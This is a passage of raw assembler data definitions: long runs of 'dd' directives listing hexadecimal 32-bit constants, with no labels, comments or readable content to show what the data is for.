864430h, 5209C53h, 2B4A5AB7h dd 6E09F096h, 246DC976h, 5FFA8910h, 0AFC28102h, 0E01C5A7Bh dd 3030B754h, 3F0C2B65h, 174ED46Eh, 5F2AC8E0h, 9B7416Bh dd 20451336h, 372C0556h, 4000B64Bh, 542CC70Dh, 0AFE91319h dd 0D1B458ACh, 0A5B516DDh, 52EA5D18h, 82E5F20Ch, 336CE9h dd 78070558h, 314F0DFCh, 92ACF5C5h, 0F1815900h, 5C757A04h dd 0EC521F96h, 78B83020h, 2896B0BBh, 2C04C358h, 5D9D280Ah dd 1B3DC50Bh, 6E9EF147h, 39390032h, 89F0DA94h, 4D083B00h dd 1866E928h, 9C1196B5h, 4097C21Eh, 17FE5F05h, 766BE850h dd 0A1122B0Ah, 0E984C23Ah, 65EB4198h, 4911CBAh, 0C02F637Fh dd 0E15A951Eh, 81A97A7Ch, 59F8435Bh, 0E935F899h, 0A1C570D9h dd 129E0580h, 0B866DA73h, 6AD94028h, 55832710h, 3B133149h dd 96E5F36Ch, 20B9F625h, 228A994h, 5EF13C12h, 0B92BEBD0h dd 86F76036h, 795C7152h, 859528DEh, 0D7313916h, 0C85E2CF3h dd 0A4C14370h, 7B015CC8h, 4A100D00h, 257C1C00h, 5B383457h dd 2CF1F005h, 9251C222h, 4CC80DDh, 5A7066AAh, 394CE876h dd 7F9F5E99h, 8670AD4Ah, 4299077h, 39627268h, 0FE80AE65h dd 76CB31D9h, 3110E62Ch, 8AF60D1Fh, 21EE1092h, 0FF940BE2h dd 4681F009h, 0DDE901C0h, 0EA8000BFh, 62FAF098h, 0B768328Eh dd 25BE0976h, 42E75957h, 59E6E8B7h, 1768CDC2h, 2898EC2Ch dd 0C9525Dh, 4C8046ECh, 6AD7E955h, 54F624C3h, 86861224h dd 5CC233E6h, 7F3725C9h, 6AB85274h, 50662863h, 8348D595h dd 57CBD729h, 2C7E0DCh, 7FFD8BFCh, 47FD8367h, 124E79FAh dd 593FC2B6h, 5A9502E4h, 50A19C19h, 8095CAE9h, 6F50BF0Eh dd 8916168Ch, 846FF9FDh, 16B231h, 82A32B9Fh, 0DD500956h dd 0F90CF5D3h, 6E765F7Dh, 5731955Dh, 62CBCA62h, 6329E36h dd 0AD109D0Dh, 131793BFh, 0D6087C63h, 7ADA2FEEh, 0D9DA502Fh dd 685C0244h, 0B2EC2349h, 23DEE336h, 9A8D2F57h, 1987FA2h dd 0CF3AC97Eh, 525147C0h, 4C27288h, 0E8685AD1h, 7D94B24Eh dd 2653C83Fh, 5BE462C7h, 0A84040F1h, 5AFC074Fh, 508A220h dd 43D556E4h, 7A021EAAh, 24373506h, 285AC0A5h, 4146B598h dd 0DAC02B90h, 7C3E1AD3h, 0E4A45B02h, 261CEA2Ah, 9AFD0311h dd 0F42EC8A5h, 0F1A4EFF7h, 26A9134Fh, 1880524h, 0BF2A5153h dd 0CD5EF101h, 184370F9h, 3B0A4BBBh, 5F9791C0h, 48556D2Ch dd 71122357h, 534BAB4h, 2C3A21F1h, 1F41DDCDh, 72288940h dd 0C5714B2Bh, 0AE235887h, 28949666h, 0F04B7C49h, 8B97E6E9h dd 555BE261h, 0E905E965h, 1C011D64h, 16236DEh, 20C3DCC6h dd 0F65E7608h, 0F8C69F17h, 0F913AF25h, 4BE970A9h, 0C186D360h dd 280506E0h, 0B0E032F2h, 0B0478D0h, 34B69DFEh, 33688F21h dd 0C16E3C38h, 3743017Dh, 178D9481h, 0DB2909F0h, 5D08B440h dd 89BB40BFh, 63CCB0EAh, 582B7A77h, 6DB24A07h, 8492D530h dd 4DAA9D2h, 8AF56536h, 123FFCF4h, 0BC291048h, 3D3C84D0h dd 55C9ECFCh, 520F264h, 0CF019F30h, 6853FDB1h, 0FD512D5h dd 8DD9294Bh, 7AF138FFh, 915DB494h, 6478D75Fh, 845FAAEFh dd 0CEE26F8Bh, 1EBD819Fh, 358FB800h, 1605204Ch, 0F5614BBFh dd 0FA042E64h, 9FA4A413h, 0CC2D41E2h, 14FA5C5Bh, 781D6BAh dd 0A1BF605Eh, 7A95CEF8h, 0BDC2E60Eh, 10015932h, 2B172EE9h dd 0C01034A3h, 0DD011F53h, 0BFD0DFCCh, 6EA002F6h, 0F3894ACEh dd 0DE13B1C9h, 0BD4802DEh, 82D6025h, 0BD7D90C2h, 0C05B0E05h dd 8507E73Dh, 51355F5Dh, 3E7820EFh, 390D0102h, 0E14E9263h dd 7FBB55B0h, 0D8F7FC4Ah, 3207942h, 0E7C14F67h, 7B988102h dd 2AFDE921h, 0B1F739A1h, 442AE655h, 0B60BC6DDh, 79F39254h dd 17FFAC97h, 0D9348663h, 0F5C5E5FCh, 0D4E8FC5Eh, 72D6305Eh dd 0EC96352Dh, 4F4DF4A0h, 3629E411h, 80DAF600h, 0EAC06AF2h dd 0FC10D206h, 26946Fh, 79697D1Ah, 0FC5DEF89h, 0B39F4A9Ch dd 0F2688296h, 8AA44C4Ch, 6792884Eh, 479B5D49h, 0D40D5Ch dd 0E2D1C209h, 0B77ACE68h, 0E9188246h, 0BABB83A2h, 415A09C7h dd 0A0552911h, 0B708DFBh, 0BDE92D05h, 3B3CDC26h, 2610A42Ah dd 0F668B40Fh, 905E8BD4h, 39C2CA25h, 0A660DD56h, 729F0C82h dd 5301F2F8h, 0E96A7F04h, 243A543Fh, 0E8E80872h, 0B7FBB01h dd 9A803701h, 3D83984h, 200147C7h, 34D932FAh, 0FD89FDE9h dd 0B97D5453h, 0B578940Dh, 54C18813h, 0C93261B4h, 0C4E55317h dd 9A09CDA0h, 57770921h, 8145BD83h, 0A359FBA0h, 0ED056976h dd 4C631096h, 5002BABDh, 29EB42FFh, 0E961F4FEh, 5564F2D0h dd 212E4BBh, 0D3F7403Dh, 70C1EBC1h, 0FEEB54F8h, 69BB4A12h dd 6E48FDE2h, 0F2311099h, 5E58DB24h, 45F2E55Ah, 0E152ECC8h dd 376437E9h, 0C45E4A54h, 5762AA43h, 27D37EEDh, 0E809720Eh dd 0E94F506h, 0C68B800h, 0D0F77A35h, 0BAAABE05h, 0AA025687h dd 3BFFA01Bh, 40BF2D8Bh, 90D731AEh, 0CE514E89h, 0B29A4C5Eh dd 42607657h, 0E253394Ah, 6E2577ACh, 0D6682FE0h, 29F0F48Dh dd 779EC4B3h, 0D04A2DA2h, 4D0F54B3h, 275A2B3Bh, 54278B17h dd 0B77C6919h, 57224227h, 0E52595CCh, 960FD161h, 0B987C0D8h dd 55495434h, 0F057BA0h, 0D1093592h, 0C15662FBh, 0E913F872h dd 0E9F42F74h, 0D0B4401Dh, 0C5FEED18h, 5BF58004h, 0B7F9027Ch dd 7C02895h, 0B40E5066h, 0CBE730B9h, 98385E58h, 0C04C0693h dd 409806F8h, 32C530EAh, 0CDE8F828h, 0BF6866C1h, 105D3B15h dd 0E12542CCh, 417A4E22h, 0C36DB419h, 41BB3172h, 4DF8DFDh dd 938E33C0h, 0AF805859h, 9778604Ch, 7CC62669h, 3F7A1E4Ah dd 0B0F37692h, 36D6BE25h, 3086D0ADh, 35388B52h, 5039894Dh dd 55BDD1DCh, 2A4E01BAh, 8264EF42h, 6D53A0Ch, 2DE85671h dd 0EC45E60Bh, 130A0026h, 0CE4AE445h, 754C7402h, 0A7AC4502h dd 0F469A459h, 0BB5300E1h, 4D0C35EBh, 276335BEh, 52B426FBh dd 0B69A0B7Eh, 16F00DEBh, 0CC11109h, 0D775DABh, 0E9584601h dd 0B9353F1Eh, 0D4F8C784h, 256FBD04h, 0ED35C3B1h, 6139F673h dd 1D2040Eh, 0CDE85DE8h, 0B574127Ch, 6E4DFE22h, 58604130h dd 0FEEE07B2h, 0D4D2F6C2h, 0C533955Bh, 2705AE36h, 9A123E2Bh dd 347E608Dh, 5E30FB1Dh, 0B51578E9h, 5B9EB022h, 60D14B02h dd 311EF393h, 2FC40774h, 1FF22B44h, 5504E203h, 49EA35F9h dd 6812F1D0h, 4CC951AAh, 88ECAC84h, 120FAD7h, 28DDEB81h dd 4BA9BA21h, 206409C8h, 86085DDEh, 0A4F43729h, 3B1BB577h dd 0A5B96D03h, 0B8B7E946h, 0D3F64C80h, 0FEF7E380h, 0EB3FCB75h dd 89B5FAC8h, 5F861923h dd 4C3B8C47h, 0F6F1206Fh, 357061EBh, 0EEF26473h, 3E441509h dd 7A87D7Ch, 2DF42508h, 0F26FC626h, 0F4D625B8h, 495B7615h dd 9AA98B24h, 31678097h, 2817A039h, 88D6C01h, 5B5D0C03h dd 0AE6AC496h, 4913569Fh, 66B4F48Eh, 43521917h, 0B147E401h dd 0C16F26B8h, 9F9236F0h, 61CEEF4Fh, 0D05729F2h, 0E1AB9F29h dd 0B649CF1h, 23FA3D95h, 0D393599Bh, 0E99C2A0Ah, 0FA4A9E61h dd 0D823AD82h, 0D3A744Bh, 9E1F9D0Eh, 0E9675EADh, 9B6803B1h dd 3B4BE9A1h, 25F4309h, 55907508h, 6816CCE6h, 0EDE36383h dd 2D5BA24Dh, 510C920Dh, 6A04ED1Fh, 68803B85h, 9845894h dd 0E67CE926h, 0E49D73E6h, 2D683DBEh, 0CE2AE170h, 0A42A48FDh dd 0C2F58AFh, 19096ECDh, 0A9ECE909h, 5898EB78h, 0D15BFB63h dd 4059CD57h, 0D351CCDBh, 17A63340h, 0B113CE2Ah, 61DDCDADh dd 6580DF56h, 8A0B352Ch, 0B22163Bh, 68E240F0h, 0B31D4E46h dd 0BB74D845h, 7E330370h, 0FCE95742h, 0B834994Fh, 7B604BBh dd 0BA0C1818h, 0C7E1C37Bh, 0C1BD0A5Dh, 2878A260h, 46169791h dd 0B44F68A8h, 0A448FC9Fh, 0BE04D618h, 5901DD63h, 0E03BBFBBh dd 0CB7D3165h, 1ABCB437h, 0CF81D175h, 0F06D16F4h, 3A76DC04h dd 0B016AE19h, 969198A4h, 5731063Dh, 3E763420h, 4CC85995h dd 30B95092h, 51F31B89h, 44CA8B87h, 1B746DAh, 1D7C0272h dd 38D8B13Ah, 0FED80B33h, 61346241h, 8804B6DAh, 8716249Eh dd 3A8CC361h, 31785FABh, 6F52AC8Fh, 23172A30h, 0F0115BD2h dd 2B592C3h, 0FC69DC09h, 0ED2BEB87h, 88342FF3h, 68A030ECh dd 4C973059h, 1352903Fh, 0BCFE64AEh, 673D0938h, 0E15000B8h dd 4CE67111h, 0F304253Fh, 0ABD8BB8Eh, 22EB1FC4h, 3D681605h dd 5EB0D929h, 0AD13FF94h, 13F40708h, 7A78AD2Dh, 68C149h dd 0CEFEB9B6h, 0E6F6E680h, 250E7FEEh, 3B27A1h, 760D1AB4h dd 94E1C286h, 0E708540Ah, 33B901C5h, 0E9349F22h, 626A2846h dd 5D70548Ch, 0BE38F019h, 4E859953h, 0A38E80Dh, 0AFC44CB5h dd 0FA5887D9h, 79202446h, 7CCF9FACh, 0AE4D113h, 20991E86h dd 0D071C9C6h, 75856CB0h, 0F08D4AB4h, 36B1CBDh, 9B5C0813h dd 0F9FA2981h, 689064B8h, 0E618252Dh, 5AD5AFAh, 15B54F2h dd 0AF18B4FCh, 6F816E3Bh, 0C42CDD2Ah, 5A007694h, 0BF78A05Eh dd 73E862A9h, 0C4B0315Bh, 0E7874B7Ah, 5BB4CA0h, 6B5821E1h dd 80688B5h, 36F6091Ch, 0C6C67037h, 0A009D90h, 81662577h dd 1238D6EAh, 0A8011FE0h, 5B0840F3h, 79972977h, 22F36B89h dd 19821026h, 40442718h, 2E175BF2h, 62252EEh, 40118B13h dd 0CB287A0Ch, 0E9B60C05h, 46F8A71h, 644494D2h, 5DD20F12h dd 0E91E81EEh, 0D12A9360h, 3B9B71BDh, 0BBE4BF27h, 4E2C19F0h dd 743FA8C5h, 3FF097ACh, 0D3685209h, 0B131187Fh, 0E9C01F2Ch dd 57B68005h, 0FE5AF108h, 0ABF4C14Ah, 28E89F17h, 62600D31h dd 63E5F7D0h, 6355F0Ah, 0DCE2C1B5h, 2E1898E6h, 70C06D0h dd 1ADE3E4Eh, 1214CA07h, 0E94A8183h, 0AD438C3h, 7E4F0868h dd 0FA656640h, 0D6092528h, 73E96548h, 0E5276867h, 2D5C6673h dd 0EED0480Eh, 0F109E30Fh, 0B169A638h, 825C4BAAh, 2A4057F8h dd 840B3A37h, 84DAF743h, 8DF881B3h, 0D06853E0h, 0D812633Bh dd 62322716h, 0BFB3C388h, 0E1959905h, 5A06A8BDh, 0C77CA24h dd 114760BEh, 36250138h, 315B6D0Ch, 83832F88h, 32DF905h dd 0BCC65496h, 0AC272154h, 0D0EF1214h, 7265D850h, 0B7B8614Bh dd 9D7BB51h, 0FC5E9B1h, 0F06C3251h, 0FC7218D3h, 0A8CB982Bh dd 0F141D125h, 0D969CF42h, 41848803h, 92E92080h, 58274ABCh dd 0ACF48054h, 78662F26h, 87828B89h, 0E04851F4h, 0BABD9630h dd 0C03855D4h, 24D284BCh, 21FC21BAh, 32C7BF8h, 0E5C34F73h dd 61E46B7h, 9DF997h, 0FEA18F2Ah, 0E92CD389h, 0FBA54A95h dd 33364C6h, 275BDDE9h, 5D2AC61Dh, 432302D4h, 0C5DE2552h dd 0CFA5EE80h, 1BA19A9h, 17A0ECA6h, 2E5A22E9h, 5D475AA3h dd 1032B65Fh, 9D4CE61Eh, 0B8378113h, 0F8B6A5D2h, 0DA4681Ah dd 990A16FDh, 0E91A309Fh, 7794D5D9h, 89705EA7h, 3AE4585Ah dd 89E4B5h, 52685153h, 0E97FD113h, 0FA1DA84Bh, 20F4EAD4h dd 0D2F605BBh, 8230F280h, 4DC88D3Dh, 0DE0645C7h, 5FF9314Bh dd 19814DD4h, 0F1809F80h, 59905260h, 57B4355Ah, 7B680657h dd 3838D510h, 67B5D824h, 7C2C947h, 28D1802Eh, 0EA442F75h dd 54C0B8E1h, 7204CDDEh, 5B20042Dh, 8C6F5C68h, 1F16B771h dd 0D45290E9h, 0A510B9ADh, 50582F75h, 0B85D4E9Dh, 7B5ED2FBh dd 3F91C357h, 0EE0746F8h, 5FEF01CCh, 232558BAh, 110D2068h dd 58B0A992h, 542F6F31h, 0C7CB168Bh, 2DEC4A2Eh, 272A51ADh dd 0E912314Eh, 8F52C76Ch, 2B46E40Fh, 95D4588Ch, 202BF5F3h dd 2CB96805h, 4EAF31ABh, 15366A18h, 0B6805E0Ch, 6BE90948h dd 1FAB6493h, 92FB9070h, 0F28F01CAh, 112C7912h, 0DCD4AA1h dd 8A600931h, 43F7DF5Eh, 49FF6A22h, 7F27D3D9h, 5202A244h dd 3F8831ABh, 920500EDh, 0B2D42445h, 0E2F643A0h, 0C637C30h dd 1DF5215Eh, 0A6F7896Fh, 0E0A9251Eh, 0D4F89204h, 0CB45EEADh dd 0F4ACEDC1h, 0BCF1420Ch, 58170B93h, 0F70169E5h, 255B6BBFh dd 25BD46Ah, 7C116808h, 0B8652F7Ch, 53F01C16h, 17C49429h dd 0A67A5F62h, 9433E43Ch, 17CDF305h, 0E3F4E1F6h, 0C55C4AE9h dd 0E677FB92h, 556B4CD2h, 6816C6E4h, 0ECA25062h, 0E9C529C0h dd 999D2EFDh, 0C52EDF1Ah, 27DCDFFh, 7FF104BAh, 51B568E2h dd 9EE9858Ch, 0C7FD408Ch, 53F7168Fh, 6328CCEDh, 0E118939h dd 22405FF8h, 48325BE9h, 0E68AE320h, 28D41FEBh, 815A1ED8h dd 0E7E9E2C3h, 0DF1F7C44h, 366C1247h, 57E156DEh, 3AC39C60h dd 0B8C832D3h, 90A4257Dh, 9462C65Eh, 0BD83B06Ah, 29641635h dd 5061272Dh, 0B7CD161Eh, 0F592429Fh, 34689D01h, 4FFB2372h dd 64106714h, 60EA5B0Bh, 0A07FCB5Dh, 0F502195Ah, 0DD26582Dh dd 0D154AC09h, 0A1900BA0h, 40C1C7BCh, 403A6F1Eh, 5D86F11Ch dd 3ED831B1h, 94AFCE0h, 0FAE96D38h, 0F759F7C0h, 0EBD1D318h dd 1B3C55Ah, 0D9211894h, 3B682FE9h, 5379EB8Dh, 10995724h dd 90B55BCEh, 2F5B7CE4h, 0EF20642h, 0E2DF0883h, 945D7162h dd 2F507DD2h, 4AC8AAE6h, 313B4FADh, 74E10241h, 6B66D979h dd 0B45002A7h, 164DF7Eh, 0D5FBC15Dh, 0B850007Bh, 4B2A36D7h dd 0FFE8830Fh, 8878A235h, 55C38967h, 96C3E5B2h, 470173DAh dd 67FCCF81h, 351748A4h, 1981E02h, 0E6C729E0h, 4CAD7425h dd 58125408h, 45B81BE9h, 0D67E49h, 0C8310C8Ch, 68135595h dd 29AF6AA0h, 55CB2ED7h, 2E4AE90Bh, 600275E8h, 8118B303h dd 0B01714F5h, 27EF090Fh, 8BFA41E9h, 0B33B0268h, 900FF609h dd 1356F1F7h, 0FC5876A0h, 27BAA4FFh, 7D8CD807h, 0B8F23B40h dd 0B79900F2h, 0E4677A05h, 0D0090172h, 325A8868h, 5E0F09A2h dd 20901C3h, 3EEBC16Ch, 7F63D982h, 1E62763Ah, 0F61E1DC4h dd 3B9355B6h, 1D4B7E4h, 21280370h, 0FFE5E9F0h, 11042A07h dd 16CC492Ch, 6E03BF54h, 0A6B9E5B6h, 9C472FAEh, 1F84652Ch dd 58687280h, 0CBD8E7FEh, 0B32F2477h, 5FAD09C2h, 74C0E95Eh dd 951AF001h, 75789C70h, 3EE9784Ch, 60F37522h, 0C18387F5h dd 7F395DEFh, 0AE7D0F84h, 19D6305Dh, 0F18723C0h, 0A5BA0752h dd 0D2A6C790h, 0F9D2B2CEh, 0C2D1708h, 0CBB40249h, 5E00F5E4h dd 0B7DA8952h, 0F5641D62h dd 0E797BE9Ah, 0D15C16C1h, 2F2C8B47h, 8518ECBh, 5F0252D1h dd 0D6766075h, 2F9F2F12h, 40C08B63h, 0B94EAD0Dh, 0F44A7BBCh dd 64404DE8h, 1C380B35h, 0CEFC53B6h, 45B8B293h, 93D19D5Fh dd 5AA95438h, 8018CD50h, 885C645Ch, 7F417C86h, 4202E13Ah dd 4458EBDFh, 0D652F796h, 8CF0919h, 45E92FF6h, 0FC402D6Fh dd 501266Ah, 527BBF51h, 9368D2D7h, 0D55BE02h, 89772D18h dd 803B7803h, 0C08896D8h, 0B944F67Fh, 0C5A2F026h, 2997395Eh dd 4A314DF0h, 4F59B3F5h, 0D29C20C0h, 0AD2D39F9h, 0F84B3813h dd 5D0740A9h, 0D67E329Fh, 9BE9413Dh, 22D22A8Fh, 5A06F03Fh dd 0ACDA52BEh, 0A45516B9h, 0A585F2A9h, 481BA65Bh, 11E52E9Dh dd 712D5A80h, 9C362C70h, 5EE9F8EDh, 3FC9E64Eh, 8966D101h dd 7E52D241h, 79711AADh, 13C47CCBh, 5B5F7253h, 0CB58C6D6h dd 3A5E8182h, 0CEA4D44h, 0CEBC3DEBh, 19440520h, 30757A14h dd 2814DB03h, 0E7B059E8h, 53C80400h, 0B0505152h, 38E91226h dd 3E75F34Ch, 0F2EA54D5h, 4EB3020Eh, 9DEAC023h, 0CB16467Ch dd 5C07D00Ch, 76E2C156h, 2B137139h, 7E2CD3E1h, 0DB784B02h dd 0AB80D701h, 15B43286h, 720D5BEh, 0E199E91Bh, 0C022406Ah dd 0D2A1F461h, 2745E37Fh, 0F1C525Ch, 39363735h, 0DB84D30Bh dd 0BB18D07Ch, 0E2522D2h, 0B5647845h, 41F5CECAh, 846A7793h dd 0F9E80EB3h, 0C06AA7E4h, 0D7287B96h, 7950485Fh, 141C6808h dd 16E25917h, 0FA5E5292h, 7D596421h, 1DB2B32Ah, 0D4F47BDh dd 27DECB5Dh, 0CFC25FCCh, 5FD6C79h, 1C656B4Bh, 908BD31h dd 0D1E60CE9h, 0E7BD42AAh, 68C127FEh, 2D2F3A06h, 0F5043F97h dd 6A098E9h, 0D14D1659h, 0DC7F00EDh, 5147DA71h, 73F7B905h dd 4D110ECh, 660E821h, 0F67FC0CEh, 7C5063C7h, 3DBD9F7h dd 2888B153h, 8636F72Fh, 1A33EB6h, 63826640h, 0F4C13159h dd 57812FE1h, 54FE2CF9h, 0A0C516F4h, 0D709BEFBh, 454D116h dd 816F9DEh, 68041201h, 1CA22CC6h, 2A7B8B5Ch, 20922B39h dd 13B9BF3h, 95FEAEC2h, 0B68668Fh, 2EFF237h, 0AA2C39B2h dd 0B0C1D028h, 0EFF18FEAh, 1840A27Ah, 49D5459h, 0A327FD68h dd 0A41911A7h, 1B38EE04h, 5EF8F08Bh, 88635197h, 893D4F92h dd 56777968h, 9B5CCBB8h, 600BE950h, 7EED59FAh, 11483136h dd 932A2505h, 5D04F208h, 0DEDB581Bh, 91EAEF3Bh, 0CF507A78h dd 3200907Bh, 0D02380A4h, 0A83EAB60h, 0FA345E5Ah, 70840EA9h dd 0FE66098Fh, 7BEC42F8h, 0BD67E0Bh, 1C4E8BAh, 3FB66810h dd 0D5F2697Eh, 806005FDh, 0A44F30FCh, 28A1FE1Ah, 53B810C4h dd 7EBB2C1Dh, 823E2CC7h, 221B78E8h, 4813FE7Ch, 584B22BAh dd 78EAB362h, 0E5941h, 1CAEC680h, 97F78853h, 0B32DECF9h dd 0D7F6E186h, 0C1800881h, 85B3E9B0h, 170E68C9h, 5F5168FFh dd 4233619Dh, 0E1FBE00h, 897AC917h, 92A5A304h, 6B85001Fh dd 554E2F97h, 539474F8h, 49410501h, 0D2942078h, 0E90C072Dh dd 1A81CFD4h, 0D2D90858h, 8E40C90Eh, 0E960C258h, 6FEC543Ah dd 0AF9F250Ah, 0B262B670h, 462A4845h, 0B8500032h, 407D77CCh dd 105831E9h, 0A2B2A718h, 620CD464h, 0A47D68A3h, 0F0EC7C5Bh dd 309E7D7Dh, 0B966D7D9h, 0D83D3B41h, 0B57B3714h, 10E6BA1h dd 6B76B87Ch, 47DE0C0Dh, 2ED5C4Fh, 61CE31EFh, 5C2CF031h dd 2D515ECBh, 2A310249h, 0CAFBAEF2h, 0EFA0A695h, 856542FAh dd 0CC10521Ah, 0D1F869B9h, 8976686Eh, 5E90D0B1h, 68805AD8h dd 8F775EA2h, 0C88F27E2h, 0A8A81219h, 9C5F5DB2h, 0B802655Ah dd 1F708568h, 0C329A581h, 0DC0888A0h, 0EE85AFC0h, 8D9F45Ch dd 1E7B431Fh, 0FABD0D8Bh, 0AF17B64Eh, 0F4D99902h, 91094B64h dd 5CF3C40Ch, 68193FB9h, 30C51D9Eh, 714D29DDh, 7DA745F9h dd 53EAE43Ah, 0D90000FDh, 5205454Eh, 61CAE92Ch, 4059CF42h dd 2D22C1C7h, 0E3782F04h, 2091AD34h, 4F43CAEBh, 0FCD30AB2h dd 1C01A041h, 0E92E124Fh, 4C9B5D09h, 290A79BEh, 9E5DEF25h dd 881B9CAFh, 896D1181h, 0D39CA33Bh, 0EB81DCF8h, 85284F2Ah dd 71695AD2h, 5C2CEC06h, 2EB90029h, 8132E846h, 491CBDC9h dd 0E9C42DC1h, 16913BB7h, 342A1E2Ah, 9FD5AEBAh, 8E502BBh dd 61745F59h, 6B453600h, 0BC464E16h, 1C4F0528h, 65A78350h dd 2E67B2B9h, 82E96BC0h, 77CF9AD4h, 22837DFh, 0CC38C46Fh dd 7870B309h, 28248898h, 7C108EF8h, 1644B950h, 823A672Ch dd 165053D6h, 5CEC2825h, 0DAC48E48h, 0B77EF46Bh, 0EAC35467h dd 3F0628D9h, 53E460FDh, 0C24EDCEBh, 0F0291E27h, 5A088150h dd 0EFDA1EAFh, 8662E918h, 1DAAC335h, 8125FA3Ch, 0B41B04E3h dd 7F692006h, 38F32803h, 0E6E8E947h, 711D29DFh, 5FC9A8E3h dd 5A84E2B7h, 0D0D2C54Fh, 0FE3CC54Ch, 0F27D2117h, 98F84F42h dd 0EE4C6812h, 0A23B6746h, 0E2506220h, 0EEC08880h, 37D387F4h dd 0F451B309h, 7AE970E6h, 0BD287860h, 5CDB2E74h, 77399567h dd 0E9DCAA02h, 25F7AF05h, 0EC010816h, 42B7025Ch, 99A6A530h dd 0C7DE0BC9h, 37A0DD94h, 74BCB145h, 49B4BE81h, 0ED42D56h dd 15D14D5h, 780598C8h, 0AA7EE414h, 830B2B35h, 0E696555Fh dd 0D6082E1Dh, 70E5F79Ch, 8E32A089h, 0FE10503h, 0B44D50E9h dd 511EAADDh, 0CDD3B1ABh, 6978475Dh, 39A404F5h, 604AF1F8h dd 7F40E6D0h, 0EE61F326h, 5F226439h, 4EE2A481h, 79201EC1h dd 0F9391615h, 3F894E42h, 0E4CDA7F9h, 84B55DEEh, 0F8159A8h dd 2F113DDh, 3A85CC20h, 82CA4D55h, 0E65E11BBh, 0C6F8C396h dd 0E52D9E48h, 50AC7279h, 0D311DF11h, 7740720Ch, 3E130C1h dd 0F4B214EEh, 0F1052D76h, 44D16E76h, 0D1E71D82h, 0E5831CB3h dd 0BCE9C298h, 801C3AB2h, 0EBC7D5E3h, 236C0FDh, 3090120Ch dd 0D3C20BDAh, 5F5210Bh, 2FF452C9h, 3238E7C2h, 83EBF25Ah dd 1303F0E9h, 0A677450Bh, 7F5011EDh, 0E9171C20h, 50ED378Eh dd 54A0D3DEh, 22591BFh, 0E22D16D1h, 802080BDh, 0F21F4E33h dd 4E92FFBh, 0FC5B5B05h, 3431623h, 3DA19FE8h, 2F84321Ah dd 0BFA5C402h, 0C85F6AEBh, 704681F5h, 4ADD687h, 12D0A6F4h dd 0EA5E0400h, 4E297B13h, 0E96C205Ch, 4B9FAC22h, 6EFAB14Ah dd 15CA012Ah, 0D90D6A09h, 19236AE9h, 5E0B2618h, 99E40239h dd 0E9C0F697h, 0F090E31h, 0D61DE929h, 97B92020h, 826BDEF9h dd 4412D842h, 232A1F81h, 0B09173Ch, 0A1535044h, 9D412E13h dd 1B06685Ah, 48145036h, 4939135h, 82543EF5h, 77FC59D9h dd 0FE82DD52h, 6CCAF3E9h, 6679E07Ch, 208852EAh, 0E2C1763Ch dd 30D82C9Fh, 7AE83F31h, 48235FB3h, 2F02037Fh, 0AB1D9295h dd 0C1E9FCFBh, 2B7E91E9h, 22F65F40h, 0EA2D63ECh, 95ED7532h dd 0E92F04D2h, 55B562CEh, 50802065h, 7BE6656h, 9746E83Dh dd 4DCF4E40h, 0E9AE0BC4h, 89C1ADC5h, 0E7BE288h, 0CCCA58A8h dd 35E9588Ah, 5D6C9764h, 0F74891ABh, 0FA550302h, 1464D41Fh dd 1802815Fh, 4D693653h, 82208FE1h, 49C6BA1Ah, 7C605F41h dd 8E3B4775h, 0D4CA0333h, 0E01ED91Ch, 375992EAh, 31462836h dd 0CF7C0629h, 0A05F5DE2h, 78AA5B49h, 0D601276Dh, 0AB9CF358h dd 75FA9EA0h, 0D05DB283h, 63F80186h, 9BF60A3h, 0E99FF09Ch dd 26BE1435h, 227C00C9h, 27D50110h, 0DA4FC293h, 0D34CF26Eh dd 0D0831E59h, 0F5EA415Eh, 0D7402B8Fh, 0E62EF0EEh, 95897E07h dd 0BB018265h, 0C9E7B0F9h, 19585F7Ch, 0CCD8CD4Bh, 570B02C7h dd 10F0B9E9h, 82B02047h dd 83A82FDh, 0F9FA9B75h, 0ABBE222Dh, 0F68446C8h, 55B11674h dd 9C018E0Ch, 0BDEF20ACh, 0E942FE65h, 546A4937h, 4D7AC97Dh dd 302FC056h, 0A73DCED1h, 5CFD0474h, 46B256ECh, 0D030F76h dd 908C359Fh, 3A1D692Dh, 0E8703D5h, 0A0312837h, 0C0A06144h dd 50C7012Dh, 0A1EF4AF7h, 768F2F03h, 6F36E90Bh, 10FFA832h dd 80A7BB05h, 0F12F2B8h, 43FBE54Eh, 543D75F0h, 0D6743E16h dd 424CBDADh, 0C00E8020h, 7ED002EDh, 98DCF18Bh, 3A7A3559h dd 2D821E31h, 0C0EA1D01h, 21048C56h, 24FD5EF0h, 0EF4AAD12h dd 0B0E83265h, 32BC643Ch, 0DD65F512h, 0F1A23AE7h, 323968C3h dd 0C2BBEB12h, 0E0C03424h, 0F84E7D22h, 3EE2926Dh, 0F6978852h dd 2D8509D6h, 4B5093D4h, 0DB228A5Dh, 7FD4F710h, 82EBEE64h dd 5773109h, 0E9ECD0D8h, 12453284h, 9F1788ACh, 0FD24539Ch dd 47569F47h, 39C13C90h, 0B902602h, 0C6424B50h, 95C6BC77h dd 7EAA802Eh, 0B8764456h, 3BDA5BC5h, 4F7A1411h, 15B35F06h dd 46E30565h, 876B1B0Eh, 0A4010B70h, 3ED821D5h, 0D6AA9762h dd 0E0F92DAAh, 88BF7E69h, 0C3813813h, 2B4A49B4h, 0A103906Eh dd 704B1C6Dh, 97FA4BB4h, 0E2F9C385h, 41D39EEDh, 9FAB7EC4h dd 95B75B73h, 441E7324h, 0B253BFF5h, 290617F8h, 0C369102h dd 3272B709h, 618D6234h, 442B2BFCh, 0CCC82614h, 5D2D6804h dd 406E3275h, 970B9442h, 6CB36319h, 57CA4A18h, 0C50E915Ah dd 0EDE274FEh, 0F397897h, 496278D7h, 0AAD497C4h, 778F4627h dd 6B9189C4h, 0BA04729Dh, 0BA272FCAh, 0CA01FA46h, 0E90CCF0Fh dd 382CF960h, 7EB4BA80h, 5B9056D5h, 5511E9Eh, 678B4C78h dd 8FD50DA9h, 0F3E50597h, 2D576CD1h, 0FF92263Ch, 0D4E90D33h dd 2468C0F0h, 0C64D6A26h, 5C4EBD3Fh, 0EAF86667h, 595DE257h dd 57696BFCh, 16A77895h, 0E9583C72h, 9A802CAh, 0FCE05FF8h dd 4E3E5BF4h, 50C78374h, 2BD69D2h, 2FFB351Fh, 0A9577DBBh dd 1477846Eh, 62D4EC16h, 0F271E6D7h, 0AE3C0B20h, 34DCBE3Eh dd 2906540Eh, 2063FC29h, 0C03A9408h, 0B3786AEDh, 0B155BF30h dd 2FB96FDCh, 2E4C5B35h, 8480F75Ah, 3AFBEB80h, 0EBF2C328h dd 0FD371096h, 0B234D975h, 0F0D3E220h, 6884B55Ah, 